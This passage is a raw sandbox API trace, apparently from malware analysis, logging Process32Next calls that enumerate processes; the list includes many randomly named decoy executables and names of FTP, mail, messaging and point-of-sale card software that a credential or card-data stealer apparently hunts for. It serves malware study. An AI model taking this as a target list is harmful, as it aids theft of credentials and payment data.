[0253.607] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.610] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.613] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.615] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.617] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.620] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.622] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.624] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.627] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0253.629] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.632] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.634] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0253.636] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0253.639] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0253.641] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0253.644] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0253.646] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0253.648] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0253.651] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.653] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.655] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0253.657] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.660] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.662] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0253.665] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.667] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0253.669] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.672] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0253.674] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0253.677] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0253.679] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0253.681] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0253.685] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0253.687] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0253.690] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0253.692] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0253.694] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0253.697] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0253.744] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0253.747] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0253.749] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0253.751] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0253.754] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0253.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0253.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0253.761] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0253.764] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0253.767] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0253.770] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0253.773] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0253.778] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0253.781] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0253.784] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0253.789] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0253.792] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0253.795] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0253.798] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0253.801] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0253.804] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0253.807] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0253.810] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0253.813] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0253.816] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0253.818] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0253.822] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0253.825] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0253.827] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0253.830] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0253.833] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0253.836] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0253.838] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0253.841] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0253.844] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0253.847] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0253.849] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0254.010] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0254.013] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0254.016] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0254.019] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0254.021] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0254.025] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0254.027] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0254.030] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0254.033] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, 